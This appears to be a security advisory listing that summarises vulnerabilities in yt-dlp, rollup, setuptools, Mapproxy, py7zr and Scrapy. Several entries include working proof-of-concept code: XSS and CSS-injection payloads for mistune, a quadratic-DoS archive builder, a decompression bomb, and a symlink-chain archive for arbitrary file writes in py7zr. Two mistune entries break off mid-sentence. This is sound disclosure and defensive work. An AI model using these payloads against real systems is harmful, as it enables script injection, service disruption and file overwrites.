Threats tagged 'homebrew'

yt-dlp versions 3.0.0 through 3.0.6 have a vulnerability in the handling of shortcut files generated by the --write-link, --write-url-link, and --write-desktop-link options. Improper sanitization of metadata used in these shortcuts can lead to downstream command injection. On Windows, a malicious file:// URI in the webpage_url can cause execution of remote executables when the .url file is opened. On Linux, if the --no-windows-filenames option is used, unsanitized filenames with newline characters can inject arbitrary commands into .desktop files, leading to shell command execution when opened. This vulnerability is fixed in version 3.0.7.

A vulnerability in yt-dlp versions >=3.0.0 <3.0.6 allows arbitrary code execution via crafted manifest downloads when using aria2c as an external downloader. The flaw arises from insufficient sanitization of input passed to aria2c's input file, enabling attackers to inject arbitrary aria2c options and perform arbitrary file writes. On Windows, this can lead to immediate code execution; on other platforms, code execution can occur on subsequent yt-dlp runs. The issue is fixed in yt-dlp version 3.0.6.

A vulnerability in yt-dlp allows attackers to write arbitrary OS-shortcut files (.desktop, .url, .webloc) to the user's filesystem by bypassing the previous fix for CVE-2024-38519. This occurs because the allowlist for file extensions included unsafe shortcut extensions to preserve functionality, which can be exploited via crafted media manifests. The malicious shortcut files can deceive users into executing arbitrary commands or phishing attacks. The issue is fixed in yt-dlp version 3.0.6.

A vulnerability in yt-dlp when using curl as an external downloader can cause cookie leakage to unintended hosts during HTTP redirects or when download fragment hosts differ from their parent manifest. This occurs because cookies passed via command line do not activate curl's cookie engine, causing cookies to be sent to domains outside their scope. The issue affects yt-dlp versions from 3.0.0 up to but not including 3.0.6. Version 3.0.6 includes a fix that changes how cookies are passed to curl, preventing leakage.

yt-dlp versions >=3.0.0 <3.0.4 contain a high-severity vulnerability (CVE-2026-26331) involving arbitrary command injection via the `--netrc-cmd` option or `netrc_cmd` Python API parameter. This occurs when a maliciously crafted URL is processed, allowing shell command injection due to unsafe handling of the netrc "machine" value in certain extractors. The vulnerability is fixed in version 3.0.4.

CVE-2024-47068 is a DOM Clobbering vulnerability in rollup bundled scripts when using import.meta.url with cjs, umd, or iife output formats. It allows an attacker to manipulate document.currentScript by injecting scriptless HTML elements named 'currentScript', leading to cross-site scripting (XSS). The vulnerability affects rollup versions from 2.56.3 up to but not including 4.22.4. A patch is available that adds type checking to ensure only SCRIPT elements are used for the src attribute.

Rollup module bundler versions from 2.56.3 up to but not including 4.59.0 contain a vulnerability that allows arbitrary file write through path traversal. This occurs due to improper sanitization of output filenames, enabling attackers to write files outside the intended directory. The vulnerability can lead to overwriting arbitrary files with the permissions of the build process, potentially resulting in persistent remote code execution or supply chain compromise.

A Unicode normalization mismatch in setuptools' MANIFEST.in exclusion handling on macOS APFS/HFS+ filesystems causes excluded files with non-ASCII names to be included in source distributions. This occurs because setuptools matches file names byte-for-byte without Unicode normalization, leading to exclusion bypasses when the on-disk filename is in NFD form but the exclusion pattern is in NFC form. This can result in unintended disclosure of files intended to be excluded from published source distributions.

A path traversal vulnerability in the PackageIndex.download function of setuptools allows an attacker to write files to arbitrary filesystem locations with the permissions of the running process. This flaw arises from insufficient sanitization of filenames derived from URLs, enabling os.path.join to be bypassed. The vulnerability was fixed in setuptools version 2026.09.09. Exploitation could lead to arbitrary file write and potentially remote code execution depending on the context. The affected versions are setuptools releases from 2017.10.31_14 up to but not including 2026.09.09.

CVE-2024-6345 is a high-severity vulnerability in the package_index module of pypa/setuptools up to version 69.1.1. It allows remote code execution via command injection through download functions that handle package URLs. The flaw is fixed in version 70.0.

## Summary `render_toc_ul()` builds a `<ul>` table-of-contents tree from a list of `(level, id, text)` tuples. Both the `id` value (used as `href="#<id>"`) and the `text` value (used as the visible link label) are inserted into `<a>` tags via a plain Python format string — with no HTML escaping applied to either value. When heading IDs are derived from user-supplied heading text (the standard use-case for readable slug anchors), an attacker can craft a heading whose text breaks out of the `href="#..."` attribute context, injecting arbitrary HTML tags including `<script>` blocks directly into the rendered TOC. This vulnerability is closely related to H2 (unescaped `id=` in `heading()`): the same `heading_id` callback pattern that triggers H2 also populates the `toc_items` list that `render_toc_ul()` consumes, meaning both vulnerabilities fire simultaneously in a typical documentation setup. ## Details **File:** `src/mistune/toc.py` ```python def render_toc_ul(toc): ... for level, k, text in toc: # k = heading id (used verbatim as href fragment) # text = heading text (used verbatim as link label) item = '<a href="#{}">{}</a>'.format(k, text) # Neither k nor text is passed through escape() at any point ``` The `k` and `text` values come directly from the `toc_items` list accumulated during parsing. If `k` contains `"` or `>`, the `href` attribute is broken. If `text` contains `<`, raw tags are injected as the visible link content. ## PoC **Step 1 — Establish the baseline (safe default IDs)** The script creates a parser with `escape=True` and the default `add_toc_hook()` (no custom callback). The default hook assigns sequential numeric IDs that never contain user text: ```python md_safe = create_markdown(escape=True) add_toc_hook(md_safe) bl_src = "# Introduction\n\n## Installation\n" _, state = md_safe.parse(bl_src) bl_out = render_toc_ul(state.env.get("toc_items", [])) ``` Output — clean, safe TOC: ```html <ul> <li><a href="#toc_1">Introduction</a> <ul> <li><a href="#toc_2">Installation</a></li> </ul> </li> </ul> ``` **Step 2 — Enable the vulnerable `heading_id` callback** Register a callback that returns the raw heading text as the ID. This is the standard slug-based anchor pattern used by documentation generators: ```python def raw_id(token, index): return token.get("text", "") md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id) ``` **Step 3 — Craft the exploit payload** Construct a heading whose text terminates the `href="#..."` attribute and injects a `<script>` block followed by a dangling `<a href="` to absorb the closing `">` that `render_toc_ul` appends: ``` ## x"><script>alert(document.cookie)</script><a href=" ``` When `raw_id` processes this heading, it returns the entire text as the ID: `x"><script>alert(document.cookie)</script><a href="`. **Step 4 — Observe script injection in the TOC output** ```python ex_src = '## x"><script>alert(document.cookie)</script><a href="\n' _, state = md_vuln.parse(ex_src) ex_out = render_toc_ul(state.env.get("toc_items", [])) ``` `render_toc_ul()` formats the malicious ID directly into the `<a href>`: ```python '<a href="#{}">{}</a>'.format(k, text) # becomes: '<a href="#x"><script>alert(document.cookie)</script><a href="">...<a/>' ``` Actual output: ```html <ul> <li><a href="#x"><script>alert(document.cookie)</script><a href="">x&quot;&gt;&lt;script&gt;alert(document.cookie)&lt;/script&gt;&lt;a href=&quot;</a></li> </ul> ``` The `<script>` block is live in the document. Note that the anchor *label* (`text`) is escaped correctly by mistune's inline renderer before it reaches `toc_items`, but `k` (the heading ID) is not escaped anywhere. ### Script I have built a script that you can use to verify this. It creates a HTML page showing the bypass so that you can see it render in the browser. ```python #!/usr/bin/env python3 """H4: render_toc_ul() puts raw heading ID into <a href> without escaping.""" import os, html as h from mistune import create_markdown from mistune.toc import add_toc_hook, render_toc_ul def raw_id(token, index): return token.get("text", "") # --- baseline --- md_safe = create_markdown(escape=True) add_toc_hook(md_safe) bl_file = "baseline_h4.md" bl_src = "# Introduction\n\n## Installation\n" with open(os.path.join(os.getcwd(), bl_file), "w") as f: f.write(bl_src) _, state = md_safe.parse(bl_src) bl_out = render_toc_ul(state.env.get("toc_items", [])) print(f"[{bl_file}]\n{bl_src}") print("[toc output — safe]") print(bl_out) # --- exploit --- md_vuln = create_markdown(escape=True) add_toc_hook(md_vuln, heading_id=raw_id) ex_file = "exploit_h4.md" ex_src = '## x"><script>alert(document.cookie)</script><a href="\n' with open(os.path.join(os.getcwd(), ex_file), "w") as f: f.write(ex_src) _, state = md_vuln.parse(ex_src) ex_out = render_toc_ul(state.env.get("toc_items", [])) print(f"[{ex_file}]\n{ex_src}") print("[toc output — script

## Summary The Image directive plugin validates the `:width:` and `:height:` options with a regex compiled as `_num_re = re.compile(r"^\d+(?:\.\d*)?")`. This pattern is applied via `re.match()` (which anchors only at the **start** of the string, not the end). Any value that begins with one or more digits passes validation, regardless of what follows. When the validated value is not a plain integer, `render_block_image()` inserts it directly into a `style="width:...;"` or `style="height:...;"` attribute. Because the value was accepted by the prefix-only regex, any CSS after the leading digits reaches the `style=` attribute verbatim and without escaping. An attacker can therefore inject an arbitrary chain of CSS properties — including `position:fixed`, `background-color`, `z-index`, `outline`, and `opacity` — using nothing more than a single `:width:` option in a fenced image directive. The resulting element can visually cover the entire browser viewport, enabling full-page phishing overlays and UI redressing attacks. ## Details **File:** `src/mistune/directives/image.py` ```python _num_re = re.compile(r"^\d+(?:\.\d*)?") # no $ anchor — prefix match only def _parse_attrs(options): height = options.get("height") width = options.get("width") if height and _num_re.match(height): # passes if value STARTS with a digit attrs["height"] = height # full value stored, not just digits if width and _num_re.match(width): # same — prefix-only check attrs["width"] = width ``` And in `render_block_image()`: ```python if width: if width.isdigit(): img += ' width="' + width + '"' # safe: integer → HTML attribute else: style += "width:" + width + ";" # UNSAFE: non-integer → raw style value ``` The `isdigit()` branch correctly uses an HTML attribute for plain integers. The `else` branch assumes that anything that passed `_num_re.match()` is a safe CSS length like `100px` or `50%`. However, because the regex is prefix-only, `100vw;height:100vh;position:fixed;...` also passes, and the entire string lands in `style=` unmodified. ## PoC **Step 1 — Establish the baseline (safe plain-integer dimensions)** The script creates a parser with `escape=True`, `FencedDirective`, and the `Image` plugin. A safe image directive is rendered with integer `width` and `height`: ```python md = create_markdown(escape=True, plugins=[FencedDirective([Image()])]) bl_src = ( "```{image} photo.jpg\n" ":width: 400\n" ":height: 300\n" ":alt: safe image\n" "```\n" ) bl_out = str(md(bl_src)) ``` Expected and actual output — clean `width=` and `height=` HTML attributes, no `style=`: ```html <div class="block-image"><img src="photo.jpg" alt="safe image" width="400" height="300" /></div> ``` **Step 2 — Understand why non-integer widths go into `style=`** When `width` is not a plain integer (e.g., `100px`), `width.isdigit()` returns `False`, so the render path falls through to `style += "width:" + width + ";"`. This is the intended mechanism for CSS-unit dimensions. The flaw is that `_num_re.match()` lets far more than CSS units through. **Step 3 — Craft the exploit payload** Provide a `:width:` value that begins with a valid number (satisfying `_num_re.match()`) but appends an entire CSS attack chain after it: ``` :width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93 ``` - `100vw` — starts with `1`, passes `_num_re.match()`; also sets the width to full viewport width - `;height:100vh` — overrides height to full viewport height - `;position:fixed` — lifts element out of document flow, fixed to the browser viewport - `;top:0;left:0` — anchors overlay to the top-left corner - `;z-index:9999` — places it above all other page content - `;background-color:#e11d48` — fills the overlay with vivid crimson - `;outline:8px solid #facc15` — adds a bright yellow border - `;color:#fff;opacity:.93` — styles the alt-text label in white with near-full opacity Full exploit markdown: ``` ```{image} x.jpg :width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93 :alt: ⚠ CSS INJECTED — click to dismiss ⚠ ``` ``` **Step 4 — Observe the injected `style=` in the output** ```python ex_src = ( "```{image} x.jpg\n" ":width: 100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;" "background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93\n" ":alt: ⚠ CSS INJECTED — click to dismiss ⚠\n" "```\n" ) ex_out = str(md(ex_src)) ``` Actual output: ```html <div class="block-image"><img src="x.jpg" alt="⚠ CSS INJECTED — click to dismiss ⚠" style="width:100vw;height:100vh;position:fixed;top:0;left:0;z-index:9999;background-color:#e11d48;outline:8px solid #facc15;color:#fff;opacity:.93;" /></div> ``` Every injected CSS property is present in the `style=` attribute. When a

CVE-2024-49766 is a vulnerability affecting Mapproxy on Windows systems running Python versions earlier than 3.11. It stems from Werkzeug's safe_join() function incorrectly handling UNC paths as absolute due to reliance on os.path.isabs() in these Python versions. This flaw can lead to unsafe path joins and potentially unintended data access. Systems using Python 3.11 or later, or non-Windows platforms, are not affected. A patch is available to remediate this issue.

### Summary PackInfo._read() uses an O(n^2) cumulative sum pattern where numstreams is read directly from the archive header. A crafted .7z archive with a large numstreams value causes excessive CPU consumption during SevenZipFile.__init__() — no extraction is needed. A 50 KB archive takes ~7 seconds of CPU time. ### Details The vulnerable code is in PackInfo._read() (archiveinfo.py): self.packpositions = [sum(self.packsizes[:i]) for i in range(self.numstreams + 1)] numstreams is parsed from the archive header via read_uint64() and is attacker-controlled. Each sum(self.packsizes[:i]) re-sums from the beginning, producing O(n^2) total work. This runs during header parsing in SevenZipFile.__init__(), before any extraction. Suggested fix — replace with O(n) cumulative sum: from itertools import accumulate self.packpositions = [0] + list(accumulate(self.packsizes)) ### PoC ``` import struct, io, binascii, time import py7zr from py7zr.archiveinfo import write_uint64, PROPERTY MAGIC = b'\x37\x7a\xbc\xaf\x27\x1c' def encode_uint64(v): buf = io.BytesIO() write_uint64(buf, v) return buf.getvalue() def build_7z_with_streams(numstreams): header = io.BytesIO() header.write(PROPERTY.HEADER) header.write(PROPERTY.MAIN_STREAMS_INFO) header.write(PROPERTY.PACK_INFO) header.write(encode_uint64(0)) header.write(encode_uint64(numstreams)) header.write(PROPERTY.SIZE) for _ in range(numstreams): header.write(encode_uint64(1)) header.write(PROPERTY.END) header.write(PROPERTY.END) header.write(PROPERTY.END) header_data = header.getvalue() out = io.BytesIO() out.write(MAGIC) out.write(b'\x00\x04') next_crc = binascii.crc32(header_data) & 0xFFFFFFFF start_header = (struct.pack('<Q', 0) + struct.pack('<Q', len(header_data)) + struct.pack('<I', next_crc)) out.write(struct.pack('<I', binascii.crc32(start_header) & 0xFFFFFFFF)) out.write(start_header) out.write(header_data) return out.getvalue() for n in [1000, 5000, 10000, 30000, 50000]: archive = build_7z_with_streams(n) start = time.time() try: with py7zr.SevenZipFile(io.BytesIO(archive), 'r') as z: pass except Exception: # The crafted archive may later raise due to being malformed, # but the quadratic work has already been performed during # header parsing in SevenZipFile.__init__(). pass elapsed = time.time() - start print(f"n={n:6d} size={len(archive):8d} bytes time={elapsed:.3f}s") ``` Tested on py7zr 1.1.0, Python 3.12.3, Linux x86_64. Results: n= 1000 size= 1042 bytes time=0.004s n= 5000 size= 5042 bytes time=0.071s n= 10000 size= 10042 bytes time=0.291s n= 30000 size= 30043 bytes time=2.609s n= 50000 size= 50043 bytes time=7.097s ### Impact Denial of Service. Any application that opens .7z archives from untrusted sources using py7zr.SevenZipFile() can be caused to consume excessive CPU time with a small crafted archive. The quadratic cost occurs during header parsing, before any content extraction.

py7zr's `Worker.decompress()` extracts archive entries without tracking total decompressed size. A crafted `.7z` file can exhaust disk or memory before the extraction completes. Measured: 15.6 KB archive → 100 MB output (6,556:1 ratio). **Proof of concept:** ```python import py7zr, tempfile, os # create bomb: compress 100MB of zeros into ~15KB bomb_path = tempfile.mktemp(suffix='.7z') with py7zr.SevenZipFile(bomb_path, 'w') as z: import io z.writef(io.BytesIO(b'\x00' * 100 * 1024 * 1024), 'bomb.bin') print(f'archive size: {os.path.getsize(bomb_path):,} bytes') # extract — no size check with py7zr.SevenZipFile(bomb_path, 'r') as z: z.extractall(path=tempfile.mkdtemp()) print('extracted 100 MB from ~15 KB archive') ``` **Root cause:** `Worker.decompress()` in `py7zr/worker.py` writes decompressed data directly to disk without a running total or configurable size limit. There is no equivalent of Python's `zipfile` `max_size` parameter. **Fix:** track cumulative decompressed bytes and raise before writing if a limit is exceeded: ```python MAX_EXTRACT_SIZE = 2 * 1024 ** 3 # 2 GB default, configurable total = 0 for chunk in decompressed_chunks: total += len(chunk) if total > MAX_EXTRACT_SIZE: raise py7zr.exceptions.DecompressionBombError( f'Extraction aborted: decompressed size exceeded {MAX_EXTRACT_SIZE} bytes' ) outfile.write(chunk) ``` Tested on py7zr 0.22.0, Python 3.12, Ubuntu 22.04.

### Summary There exists an **arbitrary file write vulnerability** in `py7zr` (1.1.0, latest), which allows symbolic links to be recreated outside the destination directory via crafted malicious symbolic link chains. When using `extractall` to extract an archive, the library restores these symbolic links, linking them to arbitrary directories on the host file system. Subsequent extraction of regular files through these symbolic links can result in arbitrary file writes. This vulnerability may lead to remote code execution, privilege escalation, data corruption, or denial of service. ### Details The root cause of this vulnerability is that `py7zr` fails to properly restrict the targets of symbolic links within an archive. During extraction, the program only checks the link arcname within the destination directory, but ignores the combined symlink path resolution. Attackers can exploit this vulnerability by constructing malicious archives, thereby bypassing the directory boundary restrictions implemented by the extractor. <img width="1806" height="834" alt="image" src="https://github.com/user-attachments/assets/cdd27ddb-ba79-4b20-b8b9-21f3e16a6e8b" /> ### PoC #### **Construct PoC Archive File** The following pseudo-code illustrates the vulnerable logic. ```python def create_sevenz_exp(output_dir: str): filename = "archive.7z" file_path = output_dir + filename with py7zr.SevenZipFile(file_path, 'w') as archive: archive.writestr("Some Text", "dir0/someFile.txt") add_symlink(archive, "dir1", "dir0/..") add_symlink(archive, "dir2", "dir1/..") add_symlink(archive, "dir3", "dir2/..") add_symlink(archive, "dir4", "dir3/..") add_symlink(archive, "dir5", "dir4/..") add_symlink(archive, "dir6", "dir5/..") add_symlink(archive, "dir7", "dir6/..") add_symlink(archive, "dir8", "dir7/..") add_symlink(archive, "myTmp", "dir8/tmp") archive.writestr("Malicious Text\n", "myTmp/poc.txt") ``` #### **Unpack the archive** Use common decompression methods, then extract the archive. ```python import sys import os import py7zr def extract_7z(seven_path, output_dir): os.makedirs(output_dir, exist_ok=True) with py7zr.SevenZipFile(seven_path, mode='r') as z: z.extractall(path=output_dir) print(f"Extracted '{seven_path}' to '{output_dir}'") if __name__ == "__main__": seven_file = sys.argv[1] base_name = os.path.splitext(os.path.basename(seven_file))[0] output = base_name + "_sevenz_output" extract_7z(seven_file, output) ``` ### Impact <img width="1268" height="572" alt="image" src="https://github.com/user-attachments/assets/919b5ff6-97ba-4781-b3e4-e9c9cc0f229b" /> After decompression, the `output` directory contains a sequence of symbolic links, which can finally point to the system root directory. Then, when extracting a regular file, the file will be written to an arbitrary path.

Scrapy versions up to 2.13.3 are vulnerable to a denial of service (DoS) attack due to a flaw in its brotli decompression implementation. The protection mechanism against decompression bombs fails to mitigate the brotli variant, allowing remote servers to crash clients with less than 80GB of available memory. This occurs because brotli can achieve extremely high compression ratios for zero-filled data, leading to excessive memory consumption during decompression. Mitigation for this vulnerability needs security enhancement added in brotli v1.2.0.